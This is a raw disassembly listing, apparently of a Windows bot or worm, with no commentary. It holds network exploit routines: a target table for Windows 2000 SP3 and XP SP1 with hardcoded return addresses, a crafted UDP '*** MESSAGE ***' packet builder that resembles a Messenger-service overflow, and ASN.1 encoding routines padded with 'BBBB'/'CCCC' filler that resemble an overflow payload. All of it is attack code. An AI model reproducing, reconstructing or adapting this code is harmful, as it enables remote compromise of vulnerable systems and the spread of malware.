mov [ebp+var_10], eax
mov eax, ds:dword_446290
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_40]
push offset dword_446294
push eax
call sub_41D260
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_107]
loc_40BEEA: ; CODE XREF: sub_40BEAB+4Ej
mov cl, [ebp+esi+var_40]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40BEEA
push 60h
lea eax, [ebp+var_B8]
push offset dword_445D88
push eax
call sub_41E840
lea eax, [ebp+var_40]
push eax
call sub_41AC70
shl eax, 1
push eax
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_88]
push eax
call sub_41E840
add esp, 1Ch
lea eax, [ebp+var_40]
push 9
push (offset aC_5+3)
push eax
call sub_41AC70
pop ecx
lea eax, [ebp+eax*2+var_89]
push eax
call sub_41E840
lea eax, [ebp+var_40]
push eax
call sub_41AC70
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B5]
push eax
call sub_41E840
lea eax, [ebp+var_40]
push eax
call sub_41AC70
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_8B]
push eax
call sub_41E840
mov ax, word ptr ds:dword_4E2638
add esp, 2Ch
push eax
call ds:dword_4514F4
push [ebp+arg_0]
xor eax, 9999h
mov [ebp+var_18], eax
call sub_402617
pop ecx
push eax
call ds:dword_451530
xor eax, 99999999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_18]
push eax
push offset loc_44590E
call sub_41E840
lea eax, [ebp+var_8]
push 4
push eax
push offset byte_445907
call sub_41E840
add esp, 18h
cmp [ebp+arg_C0], ebx
jz loc_40C0CF
mov edi, 0DACh
lea eax, [ebp+var_2CAC]
push edi
push 90h
push eax
call sub_41D100
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4461B8[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_24C8]
push eax
call sub_41E840
mov esi, offset loc_445898
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_24B8]
push esi
push eax
call sub_41E840
push 4
lea eax, [ebp+var_2194]
push offset loc_4462A0
push eax
call sub_41E840
push 4
lea eax, [ebp+var_2190]
push [ebp+var_14]
push eax
call sub_41E840
add esp, 40h
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_2184]
push esi
push eax
call sub_41E840
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4807]
loc_40C088: ; CODE XREF: sub_40BEAB+1EEj
mov cl, [ebp+esi+var_2CAC]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40C088
mov esi, 1C52h
lea eax, [ebp+var_89B8]
push esi
push 31h
push eax
mov [ebp+var_2CB0], bl
mov [ebp+var_2CAF], bl
call sub_41D100
push esi
lea eax, [ebp+var_68E0]
push 31h
push eax
call sub_41D100
add esp, 18h
jmp short loc_40C126
; ---------------------------------------------------------------------------
loc_40C0CF: ; CODE XREF: sub_40BEAB+140j
push 7D0h
lea eax, [ebp+var_F18]
push 90h
push eax
call sub_41D100
mov esi, offset loc_445898
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_E78]
push esi
push eax
call sub_41E840
lea eax, [ebp+var_10]
push eax
call sub_41AC70
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_75C]
push eax
call sub_41E840
mov eax, ds:dword_4461B8
add esp, 2Ch
mov [ebp+var_76C], eax
loc_40C126: ; CODE XREF: sub_40BEAB+222j
push 0E29h
lea eax, [ebp+var_1EFC]
push 31h
push eax
call sub_41D100
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B8]
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40C2E3
mov esi, 640h
push ebx
lea eax, [ebp+var_748]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 68h
push offset dword_445DEC
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40C2E3
push ebx
lea eax, [ebp+var_748]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 0A0h
push offset dword_445E58
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40C2E3
push ebx
lea eax, [ebp+var_748]
push esi
push eax
push edi
call ds:dword_45150C
cmp [ebp+arg_C0], ebx
jz loc_40C280
push 68h
lea eax, [ebp+var_89B8]
push offset dword_446010
push eax
call sub_41E840
lea eax, [ebp+var_4808]
push 1B5Ah
push eax
lea eax, [ebp+var_8950]
push eax
call sub_41E840
push 70h
lea eax, [ebp+var_68E0]
push offset dword_44607C
push eax
call sub_41E840
lea eax, [ebp+var_3774]
push 0A5Eh
push eax
lea eax, [ebp+var_6870]
push eax
call sub_41E840
push 84h
lea eax, [ebp+var_5DAC]
push offset dword_4460F0
push eax
call sub_41E840
add esp, 3Ch
lea eax, [ebp+var_89B8]
push ebx
push 10FCh
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40C2E3
push ebx
lea eax, [ebp+var_748]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 0FDCh
lea eax, [ebp+var_68E0]
jmp short loc_40C2D6
; ---------------------------------------------------------------------------
loc_40C280: ; CODE XREF: sub_40BEAB+325j
push 7Ch
lea eax, [ebp+var_1EFC]
push offset dword_445EFC
push eax
call sub_41E840
lea eax, [ebp+var_F18]
push 7D0h
push eax
lea eax, [ebp+var_1E80]
push eax
call sub_41E840
push 90h
lea eax, [ebp+var_16B0]
push offset off_445F7C
push eax
call sub_41E840
add esp, 24h
mov [ebp+var_1205], bl
lea eax, [ebp+var_1EFC]
push ebx
push 0CF8h
loc_40C2D6: ; CODE XREF: sub_40BEAB+3D3j
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_40C2E7
loc_40C2E3: ; CODE XREF: sub_40BEAB+2B1j
; sub_40BEAB+2DEj ...
xor al, al
jmp short loc_40C2E9
; ---------------------------------------------------------------------------
loc_40C2E7: ; CODE XREF: sub_40BEAB+436j
mov al, 1
loc_40C2E9: ; CODE XREF: sub_40BEAB+43Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40BEAB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41D100
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call ds:dword_4514F4
push 6
push 1
push 2
mov [ebp-12h], ax
call ds:dword_451570
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40C3E7
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40C3E7
push edi
push 89h
push offset dword_445B70
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40C3E7
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
push edi
push 0A8h
push offset dword_445BFC
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40C3E7
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
push edi
push 0DEh
push offset dword_445CA8
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40C3E7
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40C40F
dec eax
jz short loc_40C3EE
loc_40C3E7: ; CODE XREF: seg000:0040C342j
; seg000:0040C358j ...
xor eax, eax
jmp loc_40C47F
; ---------------------------------------------------------------------------
loc_40C3EE: ; CODE XREF: seg000:0040C3E5j
push edi
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40BEAB
add esp, 0C4h
push 0
jmp short loc_40C433
; ---------------------------------------------------------------------------
loc_40C40F: ; CODE XREF: seg000:0040C3E2j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40BEAB
add esp, 0C4h
test al, al
jnz short loc_40C453
push 1
loc_40C433: ; CODE XREF: seg000:0040C40Dj
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40BEAB
add esp, 0C4h
test al, al
jz short loc_40C45A
loc_40C453: ; CODE XREF: seg000:0040C42Fj
mov dword ptr [ebp-4], 1
loc_40C45A: ; CODE XREF: seg000:0040C451j
push ebx
call ds:dword_451588
cmp dword ptr [ebp-4], 0
jz short loc_40C47C
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
loc_40C47C: ; CODE XREF: seg000:0040C465j
push 1
pop eax
loc_40C47F: ; CODE XREF: seg000:0040C3E9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2060h
call sub_41DEB0
push ebx
push esi
push edi
push 5
pop ecx
mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
lea edi, [ebp-60h]
xor eax, eax
rep movsd
movsw
movsb
lea edi, [ebp-49h]
push 5
stosd
stosw
stosb
pop ecx
mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
lea edi, [ebp-38h]
mov dword ptr [ebp-40h], 77EE044Ch
mov dword ptr [ebp-3Ch], 768D693Eh
xor eax, eax
rep movsd
movsb
lea edi, [ebp-23h]
push 1
stosd
stosd
stosb
lea eax, [ebp+0Ch]
mov dword ptr [ebp-18h], 77ED73B4h
push eax
mov dword ptr [ebp-14h], 7804BF52h
call sub_417569
pop ecx
cmp eax, 1
pop ecx
jz loc_40C5E8
test eax, eax
jz loc_40C5E8
push 2
pop edi
cmp eax, edi
jnz short loc_40C508
xor esi, esi
jmp short loc_40C50E
; ---------------------------------------------------------------------------
loc_40C508: ; CODE XREF: seg000:0040C502j
mov esi, [ebp+0C0h]
loc_40C50E: ; CODE XREF: seg000:0040C506j
cmp eax, 3
jnz short loc_40C516
push 1
pop esi
loc_40C516: ; CODE XREF: seg000:0040C511j
push 10h
lea eax, [ebp-10h]
push 0
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+0Ch]
mov [ebp-10h], di
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_4514F4
mov [ebp-0Eh], ax
lea eax, [esi+esi*4]
shl eax, 3
push dword ptr [ebp+eax-40h]
push dword ptr [ebp+eax-3Ch]
lea eax, [ebp-2060h]
push 2000h
push eax
call sub_40C5EF
add esp, 10h
mov ebx, eax
push 11h
push edi
push edi
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C5E8
lea eax, [ebp-10h]
push 10h
push eax
push 0
lea eax, [ebp-2060h]
push ebx
push eax
push esi
call ds:dword_451554
cmp eax, 0FFFFFFFFh
jz short loc_40C5E8
push esi
call ds:dword_451588
push 1F4h
call ds:dword_4F12F4 ; Sleep
push 23E7h
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz short loc_40C5E8
mov eax, [ebp+0B0h]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40C5EA
; ---------------------------------------------------------------------------
loc_40C5E8: ; CODE XREF: seg000:0040C4EFj
; seg000:0040C4F7j ...
xor eax, eax
loc_40C5EA: ; CODE XREF: seg000:0040C5E6j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C5EF proc near ; CODE XREF: seg000:0040C561p
var_13DC = byte ptr -13DCh
var_13CC = byte ptr -13CCh
var_11E8 = byte ptr -11E8h
var_AE4 = byte ptr -0AE4h
var_68E = byte ptr -68Eh
var_683 = dword ptr -683h
var_67F = dword ptr -67Fh
var_67B = byte ptr -67Bh
var_551 = byte ptr -551h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 13DCh
call sub_41DEB0
push ebx
push esi
push edi
mov esi, offset dword_446510
lea edi, [ebp+var_10]
push 7
movsd
movsd
movsd
movsb
mov esi, offset aNetmaniac ; "NETMANIAC"
lea edi, [ebp+var_24]
movsd
movsd
movsw
mov esi, offset aAdik ; "ADIK"
lea edi, [ebp+var_18]
movsd
movsb
pop ecx
mov esi, offset byte_446534
lea edi, [ebp+var_54]
push [ebp+arg_4]
rep movsd
movsw
movsb
mov esi, offset byte_446554
lea edi, [ebp+var_34]
movsd
movsd
movsd
movsb
mov esi, offset aMessage ; "*** MESSAGE ***"
lea edi, [ebp+var_13DC]
movsd
movsd
movsd
movsd
mov esi, [ebp+arg_0]
xor eax, eax
mov ecx, 4DEh
lea edi, [ebp+var_13CC]
push eax
push esi
rep stosd
call sub_41D100
push 50h
push offset dword_44648C
push esi
call sub_41E840
lea eax, [ebp+var_24]
push eax
call sub_41AC70
mov edi, eax
lea eax, [ebp+var_10]
push 0Ch
push eax
lea eax, [esi+50h]
inc edi
push eax
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call sub_41E840
lea eax, [ebp+var_24]
push eax
lea eax, [esi+5Ch]
push eax
call sub_41E550
dec edi
lea eax, [ebp+var_18]
and edi, 0FFFFFFFCh
push eax
add edi, 60h
call sub_41AC70
mov ebx, eax
push 0Ch
inc ebx
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
lea eax, [ebp+var_10]
push eax
lea eax, [edi+esi]
push eax
call sub_41E840
add esp, 40h
add edi, 0Ch
lea eax, [ebp+var_18]
push eax
lea eax, [edi+esi]
push eax
call sub_41E550
dec ebx
push 8F8h
and ebx, 0FFFFFFFCh
lea eax, [ebp+var_13DC]
push 90h
push eax
lea edi, [edi+ebx+4]
call sub_41D100
push 1E4h
lea eax, [ebp+var_11E8]
push offset loc_4462A8
push eax
call sub_41E840
push 708h
lea eax, [ebp+var_AE4]
push 14h
push eax
call sub_41D100
lea eax, [ebp+var_34]
push 0Dh
push eax
lea eax, [ebp+var_68E]
push eax
call sub_41E840
mov eax, [ebp+arg_8]
push 1Eh
mov [ebp+var_683], eax
mov eax, [ebp+arg_C]
mov [ebp+var_67F], eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_67B]
push eax
call sub_41E840
mov eax, 0E8Ch
add esp, 44h
sub eax, edi
push eax
push offset aMsgBodySizeD ; "[*] Msg body size: %d\n"
push offset dword_44FA90
call sub_41E440
lea eax, [ebp+var_551]
sub eax, edi
and byte ptr [eax], 0
lea eax, [ebp+var_13DC]
push eax
call sub_41AC70
mov ebx, eax
lea eax, [ebp+var_10]
push 0Ch
push eax
lea eax, [edi+esi]
inc ebx
push eax
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
call sub_41E840
add edi, 0Ch
lea eax, [ebp+var_13DC]
push eax
lea eax, [edi+esi]
push eax
call sub_41E550
push 0
add edi, ebx
call loc_41ED90
mov [esi+28h], eax
add esp, 28h
lea eax, [edi-50h]
mov [esi+4Ah], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C5EF endp
; =============== S U B R O U T I N E =======================================
sub_40C7D3 proc near ; CODE XREF: sub_40CA75+Ep
; sub_40CA75+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C7D3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call sub_41AC70
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40C80B
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_40C80B proc near ; CODE XREF: seg000:0040C7F5p
; sub_40CA75+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41AE40
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C83D
push ebx
push 0
push edi
call sub_41D100
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41E840
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C83D: ; CODE XREF: sub_40C80B+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C80B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C845 proc near ; CODE XREF: sub_40C93F+18p
; sub_40C9B9+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41AE40
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C891
push edi
push 0
push esi
call sub_41D100
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41E840
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41E840
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C891: ; CODE XREF: sub_40C845+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C845 endp
; =============== S U B R O U T I N E =======================================
sub_40C89A proc near ; CODE XREF: sub_40C93F+5Ep
; sub_40C93F+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C8AA
push eax
call sub_41B8B0
pop ecx
loc_40C8AA: ; CODE XREF: sub_40C89A+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C89A endp
; =============== S U B R O U T I N E =======================================
sub_40C8B3 proc near ; CODE XREF: sub_40C93F+20p
; sub_40CA1A+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C8E0
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41AE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C8E4
loc_40C8E0: ; CODE XREF: sub_40C8B3+Dj
xor al, al
jmp short loc_40C93B
; ---------------------------------------------------------------------------
loc_40C8E4: ; CODE XREF: sub_40C8B3+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41D100
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C909
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C923
; ---------------------------------------------------------------------------
loc_40C909: ; CODE XREF: sub_40C8B3+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C923: ; CODE XREF: sub_40C8B3+54j
push eax
call sub_41E840
add esp, 0Ch
push dword ptr [esi]
call sub_41B8B0
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C93B: ; CODE XREF: sub_40C8B3+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C8B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C93F proc near ; CODE XREF: sub_40CA75+89p
; sub_40CA75+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4E247C
call sub_40C845
lea ecx, [ebp+var_8]
call sub_40C8B3
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41AE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C979
xor al, al
jmp short loc_40C9B5
; ---------------------------------------------------------------------------
loc_40C979: ; CODE XREF: sub_40C93F+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41D100
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41E840
add esp, 18h
mov ecx, esi
call sub_40C89A
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C89A
mov al, 1
loc_40C9B5: ; CODE XREF: sub_40C93F+38j
pop edi
pop esi
leave
retn
sub_40C93F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9B9 proc near ; CODE XREF: sub_40C9ED+14p
; sub_40CA0A+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C845
mov ecx, esi
call sub_40C89A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40C9B9 endp
; =============== S U B R O U T I N E =======================================
sub_40C9ED proc near ; CODE XREF: sub_40CA75+F0p
; sub_40CA75+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AC70
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C9B9
pop esi
retn 4
sub_40C9ED endp
; =============== S U B R O U T I N E =======================================
sub_40CA0A proc near ; CODE XREF: sub_40CA56+Bp
; sub_40CA75+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C9B9
retn 8
sub_40CA0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1A proc near ; CODE XREF: sub_40CA56+16p
; sub_40CA75+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C8B3
test al, al
jz short loc_40CA53
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4468F7+1)
call sub_40C845
mov ecx, esi
call sub_40C89A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CA53: ; CODE XREF: sub_40CA1A+Fj
pop esi
leave
retn
sub_40CA1A endp
; =============== S U B R O U T I N E =======================================
sub_40CA56 proc near ; CODE XREF: sub_40CA75+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA0A
test al, al
jz short loc_40CA71
mov ecx, esi
call sub_40CA1A
loc_40CA71: ; CODE XREF: sub_40CA56+12j
pop esi
retn 8
sub_40CA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA75 proc near ; CODE XREF: seg000:0040D2D4p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C7D3
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CDC9
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CDC9
push esi
lea ecx, [ebp+var_30]
call sub_40C7D3
lea ecx, [ebp+var_20]
call sub_40C7D3
lea ecx, [ebp+var_50]
call sub_40C7D3
lea ecx, [ebp+var_18]
call sub_40C7D3
lea ecx, [ebp+var_40]
call sub_40C7D3
lea ecx, [ebp+var_38]
call sub_40C7D3
lea ecx, [ebp+var_28]
call sub_40C7D3
push 4
push offset dword_446598
lea ecx, [ebp+var_30]
call sub_40C9B9
push 3
push offset dword_4465A0
lea ecx, [ebp+var_30]
call sub_40C9B9
lea ecx, [ebp+var_30]
call sub_40C93F
lea ecx, [ebp+var_30]
call sub_40CA1A
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41D100
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40C9B9
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40C9B9
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40C9B9
lea ecx, [ebp+var_20]
call sub_40C93F
push offset loc_4468FC
lea ecx, [ebp+var_50]
call sub_40C9ED
lea ecx, [ebp+var_50]
call sub_40C93F
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C80B
lea ecx, [ebp+var_58]
call sub_40C93F
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CA56
lea ecx, [ebp+var_58]
call sub_40C89A
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41D100
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40C9ED
push 4
push offset dword_4465A4
lea ecx, [ebp+var_18]
call sub_40C9B9
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40C9B9
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40C9B9
lea ecx, [ebp+var_18]
call sub_40C93F
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA0A
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA0A
lea ecx, [ebp+var_40]
call sub_40CA1A
lea ecx, [ebp+var_18]
call sub_40C89A
lea ecx, [ebp+var_50]
call sub_40C89A
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA0A
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA0A
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA0A
lea ecx, [ebp+var_38]
call sub_40CA1A
lea ecx, [ebp+var_20]
call sub_40C89A
lea ecx, [ebp+var_30]
call sub_40C89A
lea ecx, [ebp+var_40]
call sub_40C89A
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40C9B9
lea ecx, [ebp+var_28]
call sub_40C93F
push 2
push offset dword_446910
lea ecx, [ebp+var_28]
call sub_40C9B9
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA0A
lea ecx, [ebp+var_28]
call sub_40CA1A
lea ecx, [ebp+var_38]
call sub_40C89A
lea ecx, [ebp+var_10]
call sub_40C7D3
lea ecx, [ebp+var_8]
call sub_40C7D3
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA0A
lea ecx, [ebp+var_10]
call sub_40C8B3
lea ecx, [ebp+var_28]
call sub_40C89A
push offset dword_446914
lea ecx, [ebp+var_8]
call sub_40C9ED
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA0A
lea ecx, [ebp+var_8]
call sub_40C8B3
lea ecx, [ebp+var_10]
call sub_40C89A
push offset dword_446918
lea ecx, [ebp+var_10]
call sub_40C9ED
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA0A
lea ecx, [ebp+var_10]
call sub_40C8B3
lea ecx, [ebp+var_8]
call sub_40C89A
push offset dword_44691C
lea ecx, [ebp+var_8]
call sub_40C9ED
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA0A
lea ecx, [ebp+var_8]
call sub_40C8B3
lea ecx, [ebp+var_10]
call sub_40C89A
push offset dword_446928
lea ecx, [ebp+var_48]
call sub_40C9ED
push [ebp+var_4]
